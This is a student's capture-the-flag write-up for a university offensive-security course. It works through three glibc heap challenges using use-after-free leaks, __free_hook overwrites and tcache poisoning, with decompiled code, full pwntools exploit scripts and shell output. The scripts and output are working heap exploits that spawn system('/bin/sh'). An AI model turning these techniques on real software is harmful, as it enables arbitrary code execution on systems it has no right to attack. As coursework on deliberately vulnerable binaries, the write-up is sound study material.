Week8&9- Write-up

Vishnu Vardhan Ciripuram
N14912012
vc2499

Challenge: Thread and Needle

Objective:

The goal of this challenge was to leak the address of the tcache_perthread_struct from a binary, compute the heap base address using the leaked address, and submit the correct heap base to retrieve the flag.

Solution Steps:

- I loaded the binary into Binary Ninja to analyze its functions and menu interactions. The binary presented a menu with the following options:

1. Set up sewing machine (allocates memory for setting).
2. Edit setup (allows viewing or editing parts of setting).
3. Make item (frees memory allocated for setting).

```
00001383  int64_t setup()

0000139a      if (setting == 0)
000013a6          setting = malloc(bytes: 0x18)
000013a6
000013b4      puts(str: "What item are you making (max 8 …  ")
000013c5      printf(format: &data_216f)
000013de      read(fd: 0, buf: setting, nbytes: 8)
000013ea      puts(str: "Nice! That will be cool.\n")
000013f6      puts(str: "Now, set up your stitch length")
00001407      printf(format: &data_216f)
0000141d      *(setting + 8) = get_num()
00001428      puts(str: "Solid settings.\n")
00001434      puts(str: "Now, what stitch type did you la…  ")
00001445      printf(format: &data_216f)
00001462      read(fd: 0, buf: setting + 0x10, nbytes: 8)
0000147a      return puts(str: "Oh, that is a great choice!\n")
```

```
00001619  int32_t main(int32_t argc, char** argv, char** envp)

0000163e      setvbuf(fp: stdin, buf: nullptr, mode: 2, size: 0)
0000165c      setvbuf(fp: stdout, buf: nullptr, mode: 2, size: 0)
0000167a      setvbuf(fp: stderr, buf: nullptr, mode: 2, size: 0)
00001684      int64_t rax = malloc(bytes: 0x410)
000016a2      free(mem: rax)
000016ae      puts(str: "Welcome to the OffSec Sewing Mac…  ")
000016ba      puts(str: "In this challenge you must leak …  ")
000016c6      puts(str: "to calculate the heap base addre…  ")
000016d2      puts(str: "in the binary.\n")
000016de      puts(str: "But first, we sew!")
000016de
000016e8      while (true)
000016e8          uint64_t rax_5 = menu()
000016f8          puts(str: &data_2449)
000016f8
00001702          if (rax_5 == 4)
00001754              puts(str: "Ok, bye!")
000017ee              return 0
000017ee
00001710          if (rax_5 == 3)
00001746              make()
00001710          else if (rax_5 == 1)
0000172e              setup()
0000171e          else if (rax_5 == 2)
0000173a              edit()
0000173a
0000176a          puts(str: "What is the heap base? Do you ha…  ")
0000176a
0000177d          if ((rax & 0xfffffffffffff000) == get_num())
00001786              puts(str: "That's it!")
00001793              puts(str: "Before we leave, let's clean up …  ")
0000179f              puts(str: "(hint: we cannot free two identi…  ")
000017ab              puts(str: " free an address which has *(add…  ")
000017b7              puts(str: "Double check that the global all…  ")
000017c6              free(mem: setting)
000017d0              print_flag()
000017ee              return 0
000017ee
000017e3          puts(str: "Nope, keep trying!")
```

- From the Edit setup option, I observed that after freeing the setting, it was still possible to access its metadata. The stitch length option (setting + 8) pointed to the tcache_perthread_struct, making it possible to leak its address.
- After freeing the setting, accessing the stitch length resulted in a memory leak due to improper sanitization of freed memory.
- The plan is to
    1. Allocate memory for the sewing machine setup.
    2. Free the memory using Make item.
    3. Use Edit setup to view the stitch length, which now points to tcache_perthread_struct.

```
0000147b  int64_t edit()

0000148e      puts(str: "Would you like to reivew any of …  ")
0000149a      puts(str: "1. Item")
000014a6      puts(str: "2. Stitch length")
000014b2      puts(str: "3. Stitch type")
000014be      puts(str: "4. Not necessary")
000014cf      printf(format: &data_216f)
000014d9      uint64_t rax_2 = get_num()
000014d9
000014e7      if (rax_2 == 3)
00001558          printf(format: "Stitch type: %s\n", setting + 0x10)
000014e7      else if (rax_2 == 1)
00001516          printf(format: "Item: %s\n", setting)
000014f5      else if (rax_2 == 2)
00001537          printf(format: "Stitch length: %llx\n", *(setting + 8))
00001537
0000156c      return setup()
```

- Using the following process, I leaked the address of the tcache_perthread_struct:
    1. Allocated memory with item: "scarf", length: 8, and type: "chain".
    2. Freed the memory using the Make item menu.
    3. Selected the option to view stitch length in the Edit setup menu.
    4. Captured the leaked address from the program's output.

```
What do you want to do?
1. Set up sewing machine
2. Edit setup
3. Make item
4. Quit
> 2

Would you like to reivew any of the prior settings for reference?
1. Item
2. Stitch length
3. Stitch type
4. Not necessary
> 2
Stitch length: 556fb8525010
What item are you making (max 8 characters, e.g., quilt, dress, etc.)?
>
```

- The leaked address belongs to the tcache_perthread_struct and is part of the heap memory. The heap base address can be calculated by clearing the lower 12 bits (page alignment) of the leaked address:

heap_base = tcache_address & ~0xfff

- I wrote a script to automate this process and submit the heap address when prompted and received the flag: **flag{Sew1ng_2gethr_3xpl017s!_1d0d398716f53e7d}**

```
┌──(kali㉿kali)-[~/glibc-emulation/Week 8/Thread and needle]
└─$ python3 thread_and_needle.py
[+] Opening connection to offsec-chalbroker.osiris.cyber.nyu.edu on port 1211: Done
/home/kali/glibc-emulation/Week 8/Thread and needle/thread_and_needle.py:7: BytesWarning: Text is not b
ytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("moment ... ")  # Wait for challenge to start
Leaked tcache_perthread_struct address: 0x55ae85441010
[+] Heap base address: 0x55ae85441000
[*] Switching to interactive mode

That's it!
Before we leave, let's clean up our workshop
(hint: we cannot free two identical addresses into tcache, nor can we
 free an address which has *(address + 8) == &tcache_perthread_struct)
Double check that the global allocation does not have this set

Here's your flag, friend: flag{Sew1ng_2gethr_3xpl017s!_1d0d398716f53e7d}

[*] Got EOF while reading in interactive
$ 
```

Script Used:

~/glibc-emulation/Week 8/Thread and needle/thread_and_needle.py - Mousepad

File Edit Search View Document Help

```python
from pwn import *

p = remote("offsec-chalbroker.osiris.cyber.nyu.edu", 1211)
p.recvuntil("abc123): ".encode())
p.sendline("vc2499".encode())
p.recvuntil(".")

def extract_tcache_address():
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"> ", str(2).encode())
    response = p.recvline().strip().split(b": ")[1]
    address = int(response, 16)
    print(f"Leaked address: {hex(address)}")
    return address

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"scarf")
p.sendlineafter(b"> ", str(8).encode())
p.sendlineafter(b"> ", b"chain")
p.sendline()
p.sendlineafter(b"> ", b"3")
p.sendline()
tcache_address = extract_tcache_address()

heap_base = tcache_address & ~0xfff
log.success(f"Heap base address: {hex(heap_base)}")

p.sendlineafter(b'> ', b'\n')
p.sendlineafter(b'> ', b'\n')
p.sendlineafter(b'> ', b'\n')
p.sendafter(b"?", str(heap_base).encode())
p.interactive()
```

Biiiiig Message Server

Objective

In this challenge, I needed to exploit a **Use-After-Free (UAF)** vulnerability in the "Big Message Server" program to overwrite __free_hook with the address of system() and execute /bin/sh to retrieve the flag.

Solution:

- First, I analyzed the binary using Binary Ninja to understand its functionality and identify vulnerabilities.

1. **add()**: Allocates memory to store a message.
2. **edit()**: Modifies the contents of a message at a specific index.
3. **send()**: Frees a message, introducing the UAF vulnerability.
4. **review()**: Displays the content of a specific message.

The send() function frees memory but doesn't sanitize the pointer, leaving it dangling. This allows me to modify freed memory indirectly, a classic Use-After-Free vulnerability.

```
000014d2  int32_t send()

000014e5      puts(str: "What index do you want to send?")
000014f6      printf(format: &data_201e)
00001500      int64_t rax_2 = get_num()
00001500
00001515      if (rax_2 s>= sx.q(len))
0000152a          return printf(format: "Index %ld is not a valid index\n", rax_2)
0000152a
0000153b      uint64_t head_1 = head
00001546      uint64_t head_2 = head
00001546
00001571      for (int32_t i = 0; i s< rax_2.d; i += 1)
00001557          head_1 = head_2
00001562          head_2 = *head_2
00001562
00001577      uint64_t rax_14 = *head_2
00001595      printf(format: "Sending message %s\n", head_2 + 8)
00001595
000015a5      if (head_2 != head)
000015bc          *head_1 = rax_14
000015bc
000015ca          if (head_2 == tail)
000015d0              tail = head_1
000015a5      else
000015ab          head = rax_14
000015ab
000015de      free(mem: head_2)
000015e9      int32_t result = len - 1
000015ec      len = result
000015f3      return result
```

- I connected to the remote server using nc and provided my NetID. Upon authentication, the server leaked the address of printf in libc.

```
┌──(kali㉿kali)-[~/glibc-emulation/Week 8/q3]
└─$ nc offsec-chalbroker.osiris.cyber.nyu.edu 1213
Please input your NetID (something like abc123): vc2499
hello, vc2499. Please wait a moment...
Welcome to the OffSec queue!
We store all your feedback in a fancy queue until
          you're ready to send
Let's start out by giving you a helpful message: �5a�
Choose an option:
1. Add message
2. Review message
3. Edit message
4. Send messages
> 
```

Using the leaked printf address, I calculated the base address of libc in memory. This was done by subtracting the offset of printf from the leaked address. This base address was essential for locating system(), __free_hook, and /bin/sh in libc.

I allocated five messages to prepare the heap and control memory layout. This step ensured that I could predict where the chunks would be placed in memory.

```python
for _ in range(5):
    create(b"vc2499")
```

- To exploit the UAF vulnerability:

1. I used the send() option to free chunks at specific indices.
2. These freed chunks became targets for overwriting their metadata.

- Next, I used the edit() function to overwrite the metadata of a freed chunk. I redirected the pointer for __free_hook to point to system().
- Once the metadata was overwritten, I allocated a new chunk to occupy the corrupted slot. This allowed me to overwrite __free_hook with the address of system().
- To call system("/bin/sh"), I prepared a chunk containing the null-terminated string /bin/sh. This ensures that when system() is called, it executes the shell command.

```
update(1,
    b"A" * 0x40 +
    b"\x50" +
    b"\x00" * 0x7 +
    b"/bin/sh\0"
)
```

- Finally, I freed the chunk containing /bin/sh. This triggered the corrupted __free_hook, calling system("/bin/sh") and spawning a shell.
- Once I had the shell, I ran cat flag.txt to retrieve the flag.

```
┌──(kali㉿kali)-[~/glibc-emulation/Week 8/q3]
└─$ python3 big.py
[+] Opening connection to offsec-chalbroker.osiris.cyber.nyu.edu on port 1213: Done
[*] '/home/kali/glibc-emulation/Week 8/q3/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Leaked printf address: 0x7fd1b18fcc90
[+] Libc base address: 0x7fd1b189b000
[*] Switching to interactive mode
Sending message AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP
$ ls
big_message_server
flag.txt
$ cat flag.txt
flag{Unb0und3d_AND_0V3rfl0w1ng!_a6a65a9605d9e6d4}
$
```

Script used:

File Edit Search View Document Help

```python
from pwn import *

conn = remote("offsec-chalbroker.osiris.cyber.nyu.edu", 1213)
conn.recvuntil(b"abc123): ")
conn.sendline(b"vc2499")
conn.recvuntil(b".")

def create(data):
    conn.sendlineafter(b"> ", b"1")
    conn.sendafter(b"> ", data)

def update(index, data):
    conn.sendlineafter(b"> ", b"3")
    conn.sendlineafter(b"> ", str(index).encode())
    conn.sendafter(b"> ", data)

libc = ELF('libc.so.6')
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
free_hook_offset = libc.symbols['__free_hook']
bin_sh_offset = next(libc.search(b"/bin/sh"))

conn.recvuntil(b"message: ")
printf_leak = u64(conn.recv(6).ljust(8, b"\x00"))
log.info(f"Leaked printf address: {hex(printf_leak)}")

libc_base = printf_leak - printf_offset
log.success(f"Libc base address: {hex(libc_base)}")

for _ in range(5):
    create(b"vc2499")

conn.sendlineafter(b"> ", b"4")
conn.sendlineafter(b"> ", b"4")
conn.sendlineafter(b"> ", b"4")
conn.sendlineafter(b"> ", b"3")

update(2,
    b"A" * 0x40 +
    b"\x50" +
    b"\x00" * 0x7 +
    p64(libc_base + free_hook_offset - 0x8)
)

create(b"vc2499")
create(p64(libc_base + system_offset))

update(1,
    b"A" * 0x40 +
    b"\x50" +
    b"\x00" * 0x7 +
    b"/bin/sh\0"
)

conn.sendlineafter(b"> ", b"4")
conn.sendlineafter(b"> ", b"2")
conn.interactive()
```

Challenge: COMICS

Objective

The objective of this challenge was to exploit a heap-based vulnerability in the comics binary to gain arbitrary code execution. My goal was to leak a libc address, poison the tcache to overwrite __free_hook, and redirect execution to system("/bin/sh"), thereby spawning an interactive shell.

Solution Steps

- To begin, I examined the binary and determined the offsets needed for the exploitation. The key offsets included:

1. main_arena_offset: 0x1687c0
2. puts_offset: Offset of puts in libc.
3. __free_hook_offset: Offset of __free_hook in libc.
4. system_offset: Offset of system in libc.

- I connected to the remote service running on offsec-chalbroker.osiris.cyber.nyu.edu:1214 and sent an initial input to establish communication.

```
binary_path = './comics'
e = ELF(binary_path)
host, port = "offsec-chalbroker.osiris.cyber.nyu.edu", 1214
libc = ELF('libc.so.6')
context.binary = binary_path
use_local = False
use_gdb = False

main_arena_offset = 0x1687c0
puts_libc_offset = libc.symbols['puts']
free_hook_libc_offset = libc.symbols['__free_hook']
system_libc_offset = libc.symbols['system']
```

- Next, I allocated three chunks on the heap to set up the heap layout for exploitation:

1. Chunk 0: 0x500 bytes.
2. Chunk 1: 1076 bytes, which I planned to move to the unsorted bin upon freeing.
3. Chunk 2: 0x100 bytes, intended for use in tcache poisoning.

- Once the chunks were allocated, I freed them in a specific order to manipulate their placement:

1. Chunk 1 was freed first, moving it into the unsorted bin. This would allow me to leak a libc address from the unsorted bin's metadata.
2. Chunk 0 and Chunk 2 were freed next, moving them into the tcache. These would later be used for tcache poisoning.

```
    return None

add_entry(0x500, b"A" * 1)
add_entry(0x500, b"B" * 1076)
add_entry(0x100, b"C" * 3)

remove_entry(0)
remove_entry(1)
remove_entry(2)

leaked_address = view_entry(1)
```

- To leak a libc address, I printed the contents of the freed Chunk 1. Since this chunk was in the unsorted bin, its metadata contained a pointer to main_arena. Using this pointer, I calculated the base address of libc using the formula:
- libc_base = leaked_address - main_arena_offset - puts_libc_offset
- With the libc base address, I calculated the addresses of __free_hook and system:
- free_hook_addr = libc_base + free_hook_libc_offset
- system_addr = libc_base + system_libc_offset
- I verified the calculations by logging the addresses.

```
if leaked_address:
    libc_base = leaked_address - main_arena_offset - puts_libc_offset
    free_hook_addr = libc_base + free_hook_libc_offset
    system_addr = libc_base + system_libc_offset

    log.info(f"Libc base: {hex(libc_base)}")
    log.info(f"__free_hook: {hex(free_hook_addr)}")
    log.info(f"system: {hex(system_addr)}")
```

- Once I had the necessary addresses, I began the tcache poisoning phase:
- I modified the forward pointer of Chunk 2 in the tcache to point to the address of __free_hook.

- I then allocated two poisoned chunks:
- The first chunk wrote /bin/sh\x00 into the heap.
- The second chunk wrote the address of system into __free_hook.
- This setup ensured that when __free_hook was called, it would execute system("/bin/sh").

```
modify_entry(2, p64(free_hook_addr))
add_entry(0x100, b"/bin/sh\x00")
add_entry(0x100, p64(system_addr))

p.sendlineafter(b"Please select an option?", b"2")
p.sendlineafter(b"What comic number would you like to display?", b"2")
remove_entry(3)
```

- To trigger the exploit, I freed the chunk containing /bin/sh. Since the forward pointer now pointed to __free_hook, this triggered the call to system("/bin/sh"), spawning an interactive shell.
- I verified the success of the exploit by interacting with the shell.
- Once I had the shell, I ran cat flag.txt to retrieve the flag.

```
┌──(kali㉿kali)-[~/glibc-emulation/Week 8/q5]
└─$ python3 comic.py
[*] '/home/kali/glibc-emulation/Week 8/q5/comics'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] '/home/kali/glibc-emulation/Week 8/q5/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to offsec-chalbroker.osiris.cyber.nyu.edu on port 1214: Done
/home/kali/glibc-emulation/Week 8/q5/comic.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("vc2499")
[*] Leaked address: 0x7f07937dabe0
[*] Libc base: 0x7f07935ee000
[*] __free_hook: 0x7f07937dce48
[*] system: 0x7f0793640290
[*] Switching to interactive mode

> $
$ ls
comics
flag.txt
$ cat flag.txt
flag{T_c4ch3_p0150n1ng_15_s000000_c0mic4l_31ff1c71fdb85e44}
[*] Got EOF while reading in interactive
$
```

Script used:

~/glibc-emulation/Week 8/q5/comic.py - Mousepad

File Edit Search View Document Help

```python
from pwn import *

binary_path = './comics'
e = ELF(binary_path)
host, port = "offsec-chalbroker.osiris.cyber.nyu.edu", 1214
libc = ELF('libc.so.6')
context.binary = binary_path
use_local = False
use_gdb = False

main_arena_offset = 0x1687c0
puts_libc_offset = libc.symbols['puts']
free_hook_libc_offset = libc.symbols['__free_hook']
system_libc_offset = libc.symbols['system']

if use_local:
    p = process(binary_path)
elif use_gdb:
    p = gdb.debug(binary_path, gdbscript='''b main\nc\n''')
else:
    p = remote(host, port)
    p.sendline("vc2499")

def add_entry(size, content):
    p.sendlineafter(b"option?", b"1")
    p.sendlineafter(b"to be?", content[:size])

def remove_entry(index):
    p.sendlineafter(b"Please select an option?", b"4")
    p.sendlineafter(b"What comic number would you like to delete?", str(index).encode())

def modify_entry(index, content):
    p.sendline(b"3")
    p.sendlineafter(b"edit?", str(index).encode())
    p.sendlineafter(b"Enter a new punchline!", content)

def view_entry(index):
    p.sendlineafter(b"option?", b"2")
    p.sendlineafter(b"display?", str(index).encode())
    response = p.recvuntil(b"Please select an option?")
    match = re.search(rb'\xe0[\x00-\xff]{5}', response)
    if match:
        leaked = u64(match.group(0).ljust(8, b"\x00"))
        log.info(f"Leaked address: {hex(leaked)}")
        return leaked
    return None

add_entry(0x500, b"A" * 1)
add_entry(0x500, b"B" * 1076)
add_entry(0x100, b"C" * 3)

remove_entry(0)
remove_entry(1)
remove_entry(2)

leaked_address = view_entry(1)

if leaked_address:
    libc_base = leaked_address - main_arena_offset - puts_libc_offset
    free_hook_addr = libc_base + free_hook_libc_offset
    system_addr = libc_base + system_libc_offset

    log.info(f"Libc base: {hex(libc_base)}")
    log.info(f"__free_hook: {hex(free_hook_addr)}")
    log.info(f"system: {hex(system_addr)}")
```